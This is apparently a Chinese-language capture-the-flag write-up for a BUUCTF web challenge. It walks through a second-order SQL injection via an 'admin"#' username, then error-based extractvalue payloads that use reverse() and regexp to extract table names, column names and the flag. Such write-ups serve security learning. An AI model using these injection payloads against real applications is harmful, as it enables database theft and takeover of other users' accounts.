一、题目介绍:
1、题目来源:
BUUCTF网址
2、题目介绍:
拿到flag。
二、解题思路:
我们发现题目首页有登录和注册账号两个选项,我们首先尝试注册账号,尝试注册username为admin的账号,输入密码与邮箱,提交时发现页面显示 user exists 用户已存在,我们的第一想法是也许flag在admin账号中,现在只需要登录进admin的账号就行了。
我们尝试登录admin的账号,尝试username输入 admin"#,密码设为自己的密码,进行尝试。
登录进我们注册的admin“账号中后,并未发现有用的信息,于是尝试修改密码,看看能不能修改admin的密码。
、
修改完密码后,我们尝试使用我们修改后的密码登录admin的账号,发现登录成功,但是登录后的账号中并不存在flag的值,说明flag不在这里。
但是我们也可以由此得出结论,页面存在二次注入的漏洞,并可以大胆猜测修改密码的源代码。
update password='xxxx' where username="xxxx"
我们是因为对username进行的操作修改了admin的密码,所以关键点是对username的操作,回想我们在修改密码时页面不存在回显,那我们应当考虑报错注入。
利用Fuzz字典爆破username,查看禁用了哪些关键字。
导入Fuzz字典,进行爆破。
resoponse为invalid string的关键字是被过滤的关键字,Length为493的关键字为未被过滤的关键字,其中如 and 和 空格这样的关键字都被过滤了,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入了。
我们利用报错注入查看数据库中的表名。
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
修改密码,发现报错注入回显。
我们看到有三张表,我们大胆猜测flag很可能在表flag中,于是我们查询表flag中的列名。
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
发现列flag,那我们只需要查询flag中的内容岂不是就可以拿到flag了,我们尝试获取flag的值。
admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#
然后发现被设了套,flag不在这里。
我们尝试用相同的步骤访问表users。
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
我们发现了flag所在的真正位置--real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。
admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#
我们成功看到了完整的回显here,拿到真正存放flag的地方的列明,我们可以获取flag了。
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
我们发现查询结果超过1行,我们需要使用正则表达式来获取flag值。
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
但是我们发现由于extractvalue最多只能显示32位的原因,报错回显不能够完全显示flag的值,我们可以依然使用 reverse()函数,将flag值倒置输出,再利用sql语句将倒置部分恢复,将前后两部分flag拼接到一起,就可以获得完整的flag值。
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#
我们利用sql语句将导致部分恢复。
将两段flag值拼接到一起,组成完整的flag--flag{c27daacc-20a6-43e4-8113-8faa8e8a96e0}。